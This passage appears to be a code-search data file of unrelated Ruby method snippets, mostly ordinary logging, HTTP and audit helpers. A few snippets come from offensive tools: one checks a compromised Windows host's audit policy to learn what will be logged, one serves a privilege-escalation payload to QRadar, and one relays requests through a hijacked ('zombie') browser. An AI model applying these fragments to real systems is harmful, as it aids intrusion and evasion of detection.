activity_log.nil?\n \n #persist user request\n log_use_request {|request|\n request.lastaction = RequestAction::ACTION_EX_POINT+'-'+activity[:id].to_s\n }\n \n #check use have binded card\n card_info = Card.where(:utoken=>token,:isbinded=>true).order('updated_at desc').first\n if !card_info.nil?\n WxActivityLog.create(:uid=>token,:activity_id=>activity[:id],:vip_card=>card_info.decryp_card_no)\n return build_response_text_temp {|msg|\n msg.Content = activity[:succsss_msg]\n } \n else\n if text_attrs.length<=2\n return build_response_text_temp {|msg|\n msg.Content = activity[:how_msg]\n } \n end\n\n card_info = Card.find_by_nopwd input[:FromUserName],text_attrs[1],text_attrs[2]\n return build_response_text_temp {|msg|\n msg.Content = WxReplyMsg.get_msg_by_key 'wrongpwd'\n } if card_info.nil?\n Card.transaction do \n card_info[:isbinded]=true\n card_info.save\n \n WxActivityLog.create(:uid=>token,:activity_id=>activity[:id],:vip_card=>text_attrs[1])\n end\n return build_response_text_temp {|msg|\n msg.Content = activity[:succsss_msg]\n } \n end\n \n end", "def notify\n begin\n request(@config.method, @config.url, payload_data, @config.format)\n true\n rescue Exception => ex\n log_error(ex) if @config.has_logger?\n false\n end\n end", "def audits_ok?\n validate_moab_audit_ok? &&\n catalog_to_moab_audit_ok? &&\n moab_to_catalog_audit_ok? &&\n moab_checksum_validation_audit_ok? &&\n catalog_to_archive_audit_ok?\n end", "def tradecraft_check(audit)\n print_status(\"Tradecraft Notes:\")\n if audit.key?(\"Audit Other Object Access Events\") \n print_warning(\"\\tScheduled task actions are audited.\")\n report_note(\n :host => session.session_host,\n :type => 'host.log.schtask',\n :data => {\n :enabled => true},\n :update => :unique_data\n )\n\n print_warning(\"\\tFile, Registry and Share access can be logged.\")\n report_note(\n :host => session.session_host,\n :type => 'host.log.reg_share_access',\n :data => {\n :enabled => true},\n :update => :unique_data\n )\n\n print_warning(\"\\tLocal SAM access is audited.\")\n report_note(\n :host => session.session_host,\n :type => 'host.log.sam_access',\n :data => {\n :enabled => true},\n :update => :unique_data\n )\n end\n\n if audit.key?(\"Audit Process Creation\") \n print_warning(\"\\tProcess creation is audited.\")\n report_note(\n :host => session.session_host,\n :type => 'host.log.process_creation',\n :data => {\n :enabled => true},\n :update => :unique_data\n )\n end\n\n if audit.key?(\"Audit Security State Change\")\n print_warning(\"\\tWindows Startup and Shutdown is logged\")\n report_note(\n :host => session.session_host,\n :type => 'host.log.startup_shutdown',\n :data => {\n :enabled => true},\n :update => :unique_data\n )\n end\n\n if audit.key?(\"Audit Security System Extension\")\n print_warning(\"\\tWindows Service creation is logged\")\n report_note(\n :host => session.session_host,\n :type => 'host.log.service_creation',\n :data => {\n :enabled => true},\n :update => :unique_data\n )\n print_warning(\"\\tAuthentication package install is logged.\")\n report_note(\n :host => session.session_host,\n :type => 'host.log.sam_access',\n :data => {\n :enabled => true},\n :update => :unique_data\n )\n print_warning(\"\\tCode integrity check (file signature does not match).\")\n report_note(\n :host => session.session_host,\n :type => 'host.log.code_integrity_check',\n :data => {\n :enabled => true},\n :update => :unique_data\n )\n\n end\n\n if audit.key?(\"Audit Audit Policy Change\")\n print_warning(\"\\tAudit policy changes are logged.\")\n report_note(\n :host => session.session_host,\n :type => 'host.log.audit_policy_change.',\n :data => {\n :enabled => true},\n :update => :unique_data\n )\n\n end\n\n if audit.key?(\"Audit Special Logon\")\n print_warning(\"\\tEvent 4672 logged when highly privileged user logs on.\")\n report_note(\n :host => session.session_host,\n :type => 'host.log.high_priv_logon',\n :data => {\n :enabled => true},\n :update => :unique_data\n )\n end\n\n if audit.key?(\"Audit Other Logon/Logoff Events\")\n print_warning(\"\\tEvents for screensaver login, console locking, and Remote Desktop connections are logged.\")\n report_note(\n :host => session.session_host,\n :type => 'host.log.other_logon',\n :data => {\n :enabled => true},\n :update => :unique_data\n )\n end\n\n if audit.key?(\"Audit Logon\")\n print_warning(\"\\tAccount Logon events are logged.\")\n report_note(\n :host => session.session_host,\n :type => 'host.log.logon',\n :data => {\n :enabled => true},\n :update => :unique_data\n )\n end\n\n if audit.key?(\"Audit Kernel Object\")\n print_warning(\"\\tLSASS memory access will be logged in newer versions of Windows (10+/2012 R2+).\")\n report_note(\n :host => session.session_host,\n :type => 'host.log.kernel_object',\n :data => {\n :enabled => true},\n :update => :unique_data\n )\n end\n \n end", "def call(request)\n test request\n end", "def issue_erequest(agent_request)\n agent_request[:occ_host] = Occ::Application.config.occ['server_host']\n agent_request[:occ_port] = Occ::Application.config.occ['server_port']\n agent_request[:info] = agent_info if agent_info\n agent_request[:user] ||= self.user.email if self.user\n # agent_request[:password] = password\n conn = nil\n stat = 'error'\n begin\n # load 'rclient.rb' # debug\n EventMachine::run {\n conn = EventMachine::connect name, port, OatsAgent::Rclient, nickname, agent_request\n # Need to terminate effort in case host name or else is bad.\n EM.add_timer(Occ::Application.config.occ['timeout_waiting_for_agent']) {conn.close_connection }\n }\n rescue Exception => exc\n @message = \"#{exc.class} -> #{exc}\"\n if exc.message == 'unable to resolve server address'\n @message << \", trying to reach host: #{name}\"\n Rails.logger.error 'ERROR: ' + @message\n else\n Rails.logger.error 'ERROR: ' + @message\n Rails.logger.error \"#{exc.backtrace.join(\"\\n\")}\"\n end\n end\n if conn\n resp = conn.response\n if resp\n if resp[:is_busy]\n stat = resp[:is_busy]\n else\n stat = 'waiting'\n end\n else\n stat = 'dead'\n end\n else\n resp = { :error => \"#{exc.message if exc}\"}\n end\n self.persisted_status = stat\n save self\n if agent_request[:command] == 'results'\n unless resp\n Rails.logger.warn \"Machine #{self.name} did not respond to erequest #{agent_request.inspect}\"\n end\n return resp\n else\n return stat\n end\n end", "def send_request_info_to_dashboard(app_id, timestamp, request_rate)\n Djinn.log_debug(\"Sending a log with request rate #{app_id}, timestamp \" +\n \"#{timestamp}, request rate #{request_rate}\")\n encoded_request_info = JSON.dump({\n 'timestamp' => timestamp,\n 'request_rate' => request_rate\n })\n\n begin\n url = URI.parse(\"https://#{get_login.public_ip}:\" +\n \"#{AppDashboard::LISTEN_SSL_PORT}/apps/json/#{app_id}\")\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = true\n response = http.post(url.path, encoded_request_info,\n {'Content-Type'=>'application/json'})\n return true\n rescue OpenSSL::SSL::SSLError, NotImplementedError, Errno::EPIPE,\n Errno::ECONNRESET\n retry\n rescue Exception\n # Don't crash the AppController because we weren't able to send over\n # the request info - just inform the caller that we couldn't send it.\n Djinn.log_info(\"Couldn't send request info for app #{app_id} to #{url}\")\n return false\n end\n end", "def audit_request(msg, connection)\n PluginManager[\"rpcaudit_plugin\"].audit_request(msg, connection) if @config.rpcaudit\n rescue Exception => e # rubocop:disable Lint/RescueException\n Log.warn(\"Audit failed - #{e} - continuing to process message\")\n end", "def record_request\n now = Time.now\n diff = (now - @start)\n @active_time += diff\n @requests += 1\n\n reset_horizon if now - horizon > @window\n rescue => boom\n warn \"ProcessUtilization#record_request failed: #{boom.inspect}\"\n end", "def internal_send_audit(options)\n RightScale::AuditProxy.force_utf8!(options[:text])\n opts = { :audit_id => @audit_id, :category => options[:category], :offset => @size }\n opts[:category] ||= EventCategories::CATEGORY_NOTIFICATION\n unless EventCategories::CATEGORIES.include?(opts[:category])\n Log.warning(\"Invalid category '#{opts[:category]}' for notification '#{options[:text]}', using generic category instead\")\n opts[:category] = EventCategories::CATEGORY_NOTIFICATION\n end\n\n log_method = options[:kind] == :error ? :error : :info\n log_text = AuditFormatter.send(options[:kind], options[:text])[:detail]\n log_text.chomp.split(\"\\n\").each { |l| Log.__send__(log_method, l) }\n begin\n audit = AuditFormatter.__send__(options[:kind], options[:text])\n @size += audit[:detail].size\n request = RetryableRequest.new(\"/auditor/update_entry\", opts.merge(audit), :timeout => AUDIT_DELIVERY_TIMEOUT)\n request.callback { |_| } # No result of interest other than know it was successful\n request.errback { |message| Log.error(\"Failed to send update for audit #{@audit_id} (#{message})\") }\n request.run\n rescue Exception => e\n Log.error(\"Failed to send update for audit #{@audit_id}\", e, :trace)\n end\n\n true\n end", "def send_event(params = {})\n RestClient.get(\n 'http://www.google-analytics.com/collect',\n params: params,\n timeout: 4,\n open_timeout: 4\n )\n return true\n rescue RestClient::Exception\n return false\n end", "def verify_aud; end", "def verify_aud; end", "def recorded?\n return ignoring_recorded? if ignoring_request?\n\n @recorded\n end", "def started_request_message(request); end", "def send_feedback_to_slack\n send_request_to_slack(make_positive_response)\n end", "def update_activity_logs\n request_number = request.number\n req_link = \"<a href = 'requests/#{request_number}'>#{request_number}</a>\"\n app = request.app_name.size > 1 ? \"Applications\" : \"Application\"\n # Log activity is not supported in Rails3\n #User.current_user.log_activity(:context => \"#{req_link} has been #{request.aasm_state} for #{app} #{request.app_name.to_sentence}\") do\n #end\n end", "def passed_test?(event)\n event['event'] == 'test' && event['status'] == 'pass'\n end", "def request_log(request); end", "def perform(request)\n request.update_attribute :status, :working\n request.authorize!\n request.update_attribute :status, :success\n rescue Slack::Error => err\n request.update! status: :error, error: err.to_s\n rescue StandardError\n request.update_attribute :status, :pending\n raise\n end", "def audited?\n @audited\n end", "def assert_requests!\n super\n expect(action_request.uri.to_s).to eq(current_config[:voice_request_url])\n end", "def sent?\n status == \"sent\"\n end", "def send_request?\n case ARGV[0]\n when \"--no-request\"\n return false\n end\n return true\nend", "def report_spans(spans)\n return unless @state == :announced\n\n path = \"com.instana.plugin.ruby/traces.#{@process[:report_pid]}\"\n uri = URI.parse(\"http://#{@host}:#{@port}/#{path}\")\n req = Net::HTTP::Post.new(uri)\n\n req.body = spans.to_json\n response = make_host_agent_request(req)\n\n if response\n last_trace_response = response.code.to_i\n\n #::Instana.logger.debug \"traces response #{last_trace_response}: #{spans.to_json}\"\n\n if [200, 204].include?(last_trace_response)\n return true\n end\n end\n false\n rescue => e\n Instana.logger.debug \"#{__method__}:#{File.basename(__FILE__)}:#{__LINE__}: #{e.message}\"\n Instana.logger.debug e.backtrace.join(\"\\r\\n\")\n end", "def log_with_benchmark(request, action)\n msg = [ ]\n msg << \"#{request.env['REQUEST_METHOD']} #{request.env['PATH_INFO']}\"\n msg << \"Params: #{request.params.inspect}\"\n msg << \"Action: #{action.to_s.upcase}\"\n \n logger.info \"[sinatras-hat] \" + msg.join(' | ')\n \n result = nil\n \n t = Benchmark.realtime { result = yield }\n \n logger.info \" Request finished in #{t} sec.\"\n \n result\n end", "def record!\n if OhMyLog::Log.configuration.print_log\n p \"REQUEST\"\n p @request.to_s\n p \"RESPONSE\" unless @effects.empty?\n @effects.each {|effect| p effect.to_s}\n end\n\n print_into_log\n\n #we can record everything that happend (OPTIONALL)\n if OhMyLog::Log.configuration.record_history\n OhMyLog::Log.history << self\n end\n #We always save the last operation recorded\n OhMyLog::Log.last_recorded = self\n #save this string on file or upload it somewhere\n end", "def audit?\n false\n end", "def log_and_alert\n \n @call_options = CallOption.option_for_digits(menu_selection) \n ap = AppConfig.find_by_name(\"threesparks\")\n ap.message_log.create(from:params[:From], country:params[:CallerCountry], state:params[:CallerState], call_sid:params[:CallSid], menu_digit:menu_selection, recording_url:menu_selection)\n \n unless ap.yammer_auth_token.blank?\n YammerConnect.alert_yammer(ap.yammer_auth_token,message, params[:RecordingUrl], @call_options[:yammer_group_id])\n end\n \n respond_to do |format|\n \n format.xml\n end\n end", "def alert_user?\n # check the three necessary conditions\n # in order of increasing cost\n self.enabled? && have_statuses_changed?\n end", "def loudly?\n @written_request == @written_request.upcase\n end", "def audit\n count_words unless audited?\n @audited = true\n end", "def test?\n params['x_test_request'] == 'true'\n end", "def contact_kitten?( request, kitten )\n return true\n end", "def send_to_api_ai(text)\n client = ApiAiRuby::Client.new(:client_access_token => ACCESS_TOKEN())\n return client.text_request(text)\n end", "def test?\n params['x_test_request'] == 'true'\n end", "def add_request(request)\n requests << request\n true\n end", "def isAllowMessage(request)\n return httpRequest('check_message',request)\n end", "def health_check_impl(str)\n health_request = SR_HEALTH_CHECK_REQUEST\n if str != nil && str != ''\n health_request += \" #{str}\"\n @health_response = \"#{SR_HEALTH_CHECK_REQUEST}: #{str}\"\n end\n @expected_events << [{source: \"statsd-router\", text: @health_response}]\n EventMachine.connect('127.0.0.1', SR_CONTROL_PORT, HealthClient, self) do |conn|\n conn.send_data(health_request)\n end\n end", "def audit_status(sequence)\n context = sequence.context\n title = context.decommission? ? 'decommission ' : ''\n title += context.succeeded ? 'completed' : 'failed'\n context.audit.update_status(\"#{title}: #{context.payload}\")\n true\n rescue Exception => e\n Log.error(Log.format(\"SingleThreadBundleQueue.audit_status failed for #{@thread_name} thread\", e, :trace))\n ensure\n # release queue thread to wait on next bundle in queue. we must ensure\n # that we are not currently on the queue thread so next-tick the signal.\n EM.next_tick { @mutex.synchronize { @sequence_finished.signal } }\n end", "def validrequest?(req)\n @stats.validated\n return true\n end", "def log_submit\n @user = User.find_by(email: params[:user])\n @cud = @user ? @course.course_user_data.find_by(user_id: @user.id) : nil\n unless @cud\n err = \"ERROR: invalid username (#{params[:user]}) for class #{@course.id}\"\n render(plain: err, status: :bad_request) && return\n end\n\n @assessment = @course.assessments.find_by(name: params[:name])\n if !@assessment\n err = \"ERROR: Invalid Assessment (#{params[:id]}) for course #{@course.id}\"\n render(plain: err, status: :bad_request) && return\n elsif !@assessment.allow_unofficial\n err = \"ERROR: This assessment does not allow Log Submissions\"\n render(plain: err, status: :bad_request) && return\n end\n\n @result = params[:result]\n render(plain: \"ERROR: No result!\", status: :bad_request) && return unless @result\n\n # Everything looks OK, so append the autoresult to the log.txt file for this lab\n ASSESSMENT_LOGGER.setAssessment(@assessment)\n ASSESSMENT_LOGGER.log(\"#{@user.email},0,#{@result}\")\n\n # Load up the lab.rb file\n mod_name = @assessment.name + (@course.name).gsub(/[^A-Za-z0-9]/, \"\")\n require(Rails.root.join(\"assessmentConfig\", \"#{@course.name}-#{@assessment.name}.rb\"))\n eval(\"extend #{mod_name.camelcase}\")\n\n begin\n # Call the parseAutoresult function defined in the lab.rb file. If\n # the list of scores it returns is empty, then we the lab developer is\n # asking us not to create an unofficial submission in the\n # database. Simply return a successful status string to the client and\n # exit.\n scores = parseAutoresult(@result, false)\n\n render(plain: \"OK\", status: 200) && return if scores.keys.length == 0\n\n # Try to find an existing submission (always version 0).\n submission = @assessment.submissions.find_by(version: 0, course_user_datum_id: @cud.id)\n if !submission\n submission = @assessment.submissions.new(\n version: 0,\n autoresult: @result,\n user_id: @cud.id,\n submitted_by_id: 0,\n )\n submission.save!\n else\n # update this one\n submission.autoresult = @result\n submission.created_at = Time.now\n submission.save!\n end\n\n # Update the scores in the db's unofficial submission using the list\n # returned by the parseAutoresult function\n scores.keys.each do |key|\n problem = @assessment.problems.find_by(name: key)\n score = submission.scores.find_or_initialize_by(problem_id: problem.id)\n score.score = scores[key]\n score.released = true\n score.grader_id = 0\n score.save!\n end\n rescue StandardError => e\n ExceptionNotifier.notify_exception(e, env: request.env,\n data: {\n user: current_user,\n course: @course,\n assessment: @assessment,\n submission: submission,\n })\n COURSE_LOGGER.log(e.to_s)\n end\n\n render(plain: \"OK\", status: 200) && return\n end", "def log_request\n bin = Bin.find_by({ url: request.params['bin_url'] })\n @incoming_request = Request.new({\n payload: request.raw_post,\n bin_id: bin.id,\n http_method: request.method\n })\n\n respond_to do |format|\n if @incoming_request.save!\n if !@incoming_request.bin.webhook_url.blank? # TODO: clean up this logic a bit\n RequestForwardingJob.perform_later @incoming_request, bin.webhook_url\n end\n\n ActionCable.server.broadcast(\n \"request_channel_#{bin.url}\", @incoming_request\n )\n\n format.json { render json: {}, status: :created }\n else\n format.json { render json: @bin.errors, status: :unprocessable_entity }\n end\n end\n end", "def on_request_uri(cli, request)\r\n print_good(\"#{peer} - Sending privilege escalation payload to QRadar...\")\r\n print_good(\"#{peer} - Sit back and relax, Shelly will come visit soon!\")\r\n send_response(cli, @payload)\r\n end", "def record_request(status, env)\n now = Time.now\n diff = (now - @start)\n if $statsd\n $statsd.timing(\"response_time\", diff * 1000)\n if VALID_METHODS.include?(env[REQUEST_METHOD])\n stat = \"response_time.#{env[REQUEST_METHOD].downcase}\"\n $statsd.timing(stat, diff * 1000)\n end\n\n if suffix = status_suffix(status)\n $statsd.increment \"status_code.#{status_suffix(status)}\"\n end\n\n api = env[\"API\"]\n if api\n $statsd.timing(\"response_time.#{api}\", diff * 1000)\n $statsd.increment \"status_code.#{status_suffix(status)}.#{api}\"\n end\n\n if @track_gc && GC.time > 0\n $statsd.timing \"gc.time\", GC.time / 1000\n $statsd.count \"gc.collections\", GC.collections\n end\n end\n\n rescue => boom\n warn \"Statsd::Rack#record_request failed: #{boom}\"\n end", "def send_to_portal(answers, start_time = Time.now)\n return true if remote_endpoint.nil? || remote_endpoint.blank? # Drop it on the floor\n return true if answers.blank? # Pretend we sent it, nobody will notice\n is_success = PortalSender::Protocol.instance(remote_endpoint).post_answers(answers, remote_endpoint, start_time)\n Rails.logger.info(\"Run sent to portal, success:#{is_success}, \" +\n \"num_answers:#{answers.count}, #{run_info_string}\")\n # TODO: better error detection?\n abort_job_and_requeue(run_info_string() ) unless is_success\n is_success\n end", "def report_test_result success, msg\n if(success)\n print_success msg\n else\n print_error msg\n end\nend", "def commit(request)\n url = test? ? TEST_URL : LIVE_URL\n \n @response = parse(ssl_post(url, request)) \n success = @response[:status] == DATACASH_SUCCESS\n message = @response[:reason]\n \n Response.new(success, message, @response,\n :test => test?,\n :authorization => \"#{@response[:datacash_reference]};#{@response[:authcode]}\"\n )\n end", "def test_logs_request_id\n get '/'\n loglines = logs.lines\n\n logdata = Logfmt.parse(loglines[0])\n request_id = logdata['request_id']\n assert_equal('start', logdata['at'])\n assert(request_id, 'must log request id')\n\n logdata = Logfmt.parse(loglines[1])\n assert_equal('mid-request', logdata['at'])\n assert_equal(request_id, logdata['request_id'])\n\n logdata = Logfmt.parse(loglines[2])\n assert_equal('finish', logdata['at'])\n assert_equal(request_id, logdata['request_id'])\n\n end", "def handle_tracer_email\n if m = /^TRACER: (.+)$/.match(envelope.subject)\n tracer_uid = m[1]\n confirm_tracer(tracer_uid)\n user_thread.update_user(:last_uid => uid)\n daemon.total_emails_processed += 1\n return false\n else\n return true\n end\n end", "def verify_aud=(_arg0); end", "def verify_aud=(_arg0); end", "def healthy?\n %w(run sleep).include?(@transmitter.status)\n end", "def call(request)\n if captured = @uri.call(request) and test(request)\n request.traits.waves.captured = captured\n end\n end", "def audit\n @audit || false\n end", "def smsFail1 \n response = HTTParty.post($uris, :body => {message: App.message})\nend", "def is_request? msg\n msg && msg[:req_id]\n end", "def log(message)\n @__result.add_log(message)\n true\n end", "def test_http_request_skip_setting_latency\n setup_gce_metadata_stubs\n [\n '', ' ', nil, 'null', '123', '1.23 seconds',\n ' 123 s econds ', '1min', 'abc&^!$*('\n ].each do |input|\n setup_logging_stubs do\n d = create_driver\n @logs_sent = []\n d.emit('httpRequest' => HTTP_REQUEST_MESSAGE.merge('latency' => input))\n d.run\n end\n verify_log_entries(1, COMPUTE_PARAMS, 'httpRequest') do |entry|\n assert_equal HTTP_REQUEST_MESSAGE, entry['httpRequest'], entry\n assert_nil entry['jsonPayload']['httpRequest'], entry\n end\n end\n end", "def respond(event)\n msg = event.content\n \n # strip off the @inne++ mention, if present\n msg.strip!(/\\A<@[0-9]*>/) \n \n # match exactly \"lotd\" or \"eotw\", regardless of capitalization or leading/trailing whitespace\n if msg =~ /\\A\\s*lotd\\s*\\Z/i\n send_level(event)\n return\n elsif msg =~ /\\A\\s*eotw\\s*\\Z/i\n send_episode(event)\n return\n end\n\n hello(event) if msg =~ /\\bhello\\b/i || msg =~ /\\bhi\\b/i\n thanks(event) if msg =~ /\\bthank you\\b/i || msg =~ /\\bthanks\\b/i\n dump(event) if msg =~ /dump/i\n send_episode_time(event) if msg =~ /when.*next.*(episode|eotw)/i\n send_level_time(event) if msg =~ /when.*next.*(level|lotd)/i\n send_level(event) if msg =~ /what.*(level|lotd)/i\n send_episode(event) if msg =~ /what.*(episode|eotw)/i\n send_rankings(event) if msg =~ /rank/i && msg !~ /history/i\n send_history(event) if msg =~ /history/i && msg !~ /rank/i\n send_points(event) if msg =~ /points/i && msg !~ /history/i && msg !~ /rank/i\n send_scores(event) if msg =~ /scores/i && msg !~ /history/i && msg !~ /rank/i\n send_total_score(event) if msg =~ /total/i && msg !~ /history/i && msg !~ /rank/i\n send_top_n_count(event) if msg =~ /how many/i\n send_stats(event) if msg =~ /stat/i\n send_spreads(event) if msg =~ /spread/i\n send_screenshot(event) if msg =~ /screenshot/i\n send_suggestions(event) if msg =~ /worst/i\n send_list(event) if msg =~ /list/i\n send_missing(event) if msg =~ /missing/i\n send_level_name(event) if msg =~ /\\blevel name\\b/i\n send_level_id(event) if msg =~ /\\blevel id\\b/i\n send_diff(event) if msg =~ /diff/i\n send_help(event) if msg =~ /\\bhelp\\b/i || msg =~ /\\bcommands\\b/i\n identify(event) if msg =~ /my name is/i\nrescue RuntimeError => e\n event << e\nend", "def receive_issue_impact_change(config, payload)\n room = find_campfire_room(config)\n\n users_text = if payload[:impacted_devices_count] == 1\n 'This issue is affecting at least 1 user who has crashed '\n else\n \"This issue is affecting at least #{payload[:impacted_devices_count]} users who have crashed \"\n end\n\n crashes_text = if payload[:crashes_count] == 1\n 'at least 1 time. '\n else\n \"at least #{payload[:crashes_count]} times. \"\n end\n\n message = \"[#{payload[:app][:name]}] #{payload[:title]} in #{payload[:method]} \"\n message << users_text\n message << crashes_text\n message << payload[:url].to_s\n\n resp = room.speak(message)\n unless resp.is_a?(Hash) && resp.message\n raise \"Campfire Message Post Failed: #{(resp.map {|e| e.join(' ') }).join(', ')}\"\n end\n { :campfire_message_id => resp.message.id }\n end", "def sentiment(text)\r\n return iod_request('analyzesentiment',\r\n {:text => text, :language => $sentiment_language, :apikey => $api_key})\r\nend", "def report_entity_data(payload)\n with_snapshot = false\n path = \"com.instana.plugin.ruby.#{@process[:report_pid]}\"\n uri = URI.parse(\"http://#{@host}:#{@port}/#{path}\")\n req = Net::HTTP::Post.new(uri)\n\n # Every 5 minutes, send snapshot data as well\n if (Time.now - @last_snapshot) > 600\n with_snapshot = true\n payload.merge!(@snapshot)\n\n # Add in process related that could have changed since\n # snapshot was taken.\n p = { :pid => @process[:report_pid] }\n p[:name] = @process[:name]\n p[:exec_args] = @process[:arguments]\n payload.merge!(p)\n end\n\n req.body = payload.to_json\n response = make_host_agent_request(req)\n\n if response\n last_entity_response = response.code.to_i\n\n #::Instana.logger.debug \"entity http://#{@host}:#{@port}/#{path}: response=#{last_entity_response}: #{payload.to_json}\"\n\n if last_entity_response == 200\n @entity_last_seen = Time.now\n @last_snapshot = Time.now if with_snapshot\n\n return true\n end\n end\n false\n rescue => e\n Instana.logger.error \"#{__method__}:#{File.basename(__FILE__)}:#{__LINE__}: #{e.message}\"\n Instana.logger.debug e.backtrace.join(\"\\r\\n\")\n end", "def send_request; end", "def rerequested_check?\n checks_event? &&\n decoded_payload['action'] == 'rerequested' &&\n !tag_created_check_suite?\n end", "def add_need(subject, text)\n url = URI.parse(\"http://#{@@api_url}/needs/add.xml#{@config[:apikey]}\")\n req = Net::HTTP::Post.new(url.path)\n\n req.basic_auth(@config[:email], @config[:password])\n req.set_form_data({'text' => text, 'subject' => subject})\n\n response = Net::HTTP.new(url.host, url.port).start { |http| http.request(req) }\n parse(response.body)\n \n end", "def datadog_http_request?(req, address, port, tracer)\n transport = tracer.writer.transport\n\n transport_hostname = nil\n transport_port = nil\n\n # Get settings from transport, if available.\n case transport\n when Datadog::Transport::HTTP::Client\n adapter = transport.current_api.adapter\n if adapter.is_a?(Datadog::Transport::HTTP::Adapters::Net)\n transport_hostname = adapter.hostname.to_s\n transport_port = adapter.port.to_i\n end\n end\n\n # When we know the host & port (from the URI) we use it, else (most-likely\n # called with a block) rely on the URL at the end.\n if req.respond_to?(:uri) && req.uri\n if req.uri.host.to_s == transport_hostname &&\n req.uri.port.to_i == transport_port\n return true\n end\n elsif address && port &&\n address.to_s == transport_hostname &&\n port.to_i == transport_port\n return true\n end\n\n false\n end", "def request_successful(response)\n\t\tresponse.code == \"200\"\n\tend", "def type(text:)\n conn = multipart_connection(port: 8060)\n text.split(//).each do |c|\n path = \"/keypress/LIT_#{CGI::escape(c)}\"\n @logger.debug(\"Send Letter: \"+path)\n response = conn.post path\n return false unless response.success?\n end\n return true\n end", "def time_added?\n self.impact == 'Added'\n end", "def log_traffic?\n @log_traffic\n end", "def request(event)\n log_action_summary(event)\n log_request_details(event)\n log_response_details(event)\n end", "def on_request_uri(cli, request)\r\n random_content = '<html><head></head><body><p>'+Rex::Text.rand_text_alphanumeric(20)+'<p></body></html>'\r\n send_response(cli, random_content)\r\n\r\n @received_request = true\r\n end", "def trace message, attention_type = nil\n validate_message_level()\n if (@message_level != MessageLevel::NO_MESSAGES && @message_level != MessageLevel::SOME_MESSAGES)\n log_info(\"## \" + message.to_s, attention_type )\n return true\n end\n return false\n end", "def alerted?\n !alert_sent.nil?\n end", "def true(argvs)\n return nil unless argvs\n return nil unless argvs.is_a? Sisimai::Data\n return nil unless argvs.deliverystatus.size > 0\n\n return true if argvs.reason == 'suspend'\n return true if match(argvs.diagnosticcode)\n return false\n end", "def test_logs_request_id\n get '/'\n loglines = logs.lines\n\n logdata = Logfmt.parse(loglines[0])\n request_id = logdata['request_id']\n assert_equal('start', logdata['at'])\n assert(request_id, 'must log request id')\n\n logdata = Logfmt.parse(loglines[1])\n assert_equal('mid-request', logdata['at'])\n assert_equal(request_id, logdata['request_id'])\n\n logdata = Logfmt.parse(loglines[2])\n assert_equal('finish', logdata['at'])\n assert_equal(request_id, logdata['request_id'])\n end", "def notify_patients\n request = Google::Apis::ScriptV1::ExecutionRequest.new(\n function: 'process_email_log'\n )\n\n begin\n AstmServer.log(\"Processing Email Log\")\n AstmServer.log(request.parameters.to_s)\n resp = $service.run_script(self.script_id, request)\n if resp.error\n AstmServer.log(\"Error Processing Email Log, message follows\")\n AstmServer.log(\"error: #{resp.error.message} : code: #{resp.error.code}\")\n false\n else\n AstmServer.log(\"Email log processing successfull\")\n true\n end\n rescue => e\n AstmServer.log(\"Error processing email log, backtrace follows\")\n AstmServer.log(e.backtrace.to_s)\n false\n end\n end", "def reportable?\n enable_learner_state\n end", "def http_report(request, _response)\n path = request.path\n\n root_element_name = Box.new('')\n result = @server.xml.parse(request.body, request.url, root_element_name)\n root_element_name = root_element_name.value\n\n if @server.emit('report', [root_element_name, result, path])\n # If emit returned true, it means the report was not supported\n fail Exception::ReportNotSupported\n end\n\n # Sending back false will interupt the event chain and tell the server\n # we've handled this method.\n false\n end", "def send_request\n # validate that the hooked browser's session has been sent\n zombie_session = @params['zombie_session'] || nil\n raise WEBrick::HTTPStatus::BadRequest, \"Invalid session id\" if not BeEF::Filters.is_valid_hook_session_id?(zombie_session)\n \n # validate that the hooked browser exists in the db\n zombie = Z.first(:session => zombie_session) || nil\n raise WEBrick::HTTPStatus::BadRequest, \"Invalid hooked browser session\" if zombie.nil?\n \n # validate that the raw request has been sent\n raw_request = @params['raw_request'] || nil\n raise WEBrick::HTTPStatus::BadRequest, \"raw_request is nil\" if raw_request.nil?\n raise WEBrick::HTTPStatus::BadRequest, \"raw_request contains non-printable chars\" if not BeEF::Filters.has_non_printable_char?(raw_request)\n \n # validate nonce\n nonce = @params['nonce'] || nil\n raise WEBrick::HTTPStatus::BadRequest, \"nonce is nil\" if nonce.nil?\n raise WEBrick::HTTPStatus::BadRequest, \"nonce incorrect\" if @session.get_nonce != nonce\n \n # validate that the raw request is correct and can be used\n req_parts = raw_request.split(/ |\\n/) # break up the request\n verb = req_parts[0]\n raise 'Only GET or POST requests are supported' if not BeEF::Filters.is_valid_verb?(verb) #check verb\n uri = req_parts[1]\n raise 'Invalid URI' if not BeEF::Filters.is_valid_url?(uri) #check uri\n version = req_parts[2]\n raise 'Invalid HTTP version' if not BeEF::Filters.is_valid_http_version?(version) # check http version - HTTP/1.0\n host_str = req_parts[3]\n raise 'Invalid HTTP version' if not BeEF::Filters.is_valid_host_str?(host_str) # check host string - Host:\n host = req_parts[4]\n host_parts = host.split(/:/)\n hostname = host_parts[0]\n raise 'Invalid hostname' if not BeEF::Filters.is_valid_hostname?(hostname) #check the target hostname\n hostport = host_parts[1] || nil\n if !hostport.nil?\n raise 'Invalid hostport' if not BeEF::Filters.nums_only?(hostport) #check the target hostport\n end\n\n # (re)build the request\n green_request = StringIO.new(verb + \" \" + uri + \" \" + version + \"\\n\" + host_str + \" \" + host)\n request = WEBrick::HTTPRequest.new(WEBrick::Config::HTTP)\n request.parse(green_request)\n \n # Saves the new HTTP request.\n http = H.new(\n :request => raw_request,\n :method => request.request_method,\n :domain => request.host,\n :path => request.unparsed_uri,\n :request_date => Time.now,\n :hooked_browser_id => zombie.id\n )\n \n if request.request_method.eql? 'POST'\n http.content_length = request.content_length\n end\n \n http.save\n \n @body = '{success : true}'\n end", "def log_request\n result = super\n push_outstanding_request\n result\n end", "def validate\n raise \"Can only validate request messages\" unless type == :request\n\n raise(NotTargettedAtUs, \"Received message is not targetted to us\") unless PluginManager[\"security_plugin\"].validate_filter?(payload[:filter])\n end", "def submit\n\t\tif save\n\t\t\tsubmit_request\n\t\t\ttrue\n\t\telse\n\t\t\tfalse\n\t\tend\n\tend", "def true(argvs)\n return nil unless argvs\n return nil unless argvs.is_a? Sisimai::Data\n return true if argvs.reason == 'hostunknown'\n\n require 'sisimai/smtp/status'\n diagnostic = argvs.diagnosticcode || ''\n statuscode = argvs.deliverystatus || ''\n\n if Sisimai::SMTP::Status.name(statuscode) == 'hostunknown'\n # Status: 5.1.2\n # Diagnostic-Code: SMTP; 550 Host unknown\n require 'sisimai/reason/networkerror'\n return true unless Sisimai::Reason::NetworkError.match(diagnostic)\n else\n # Check the value of 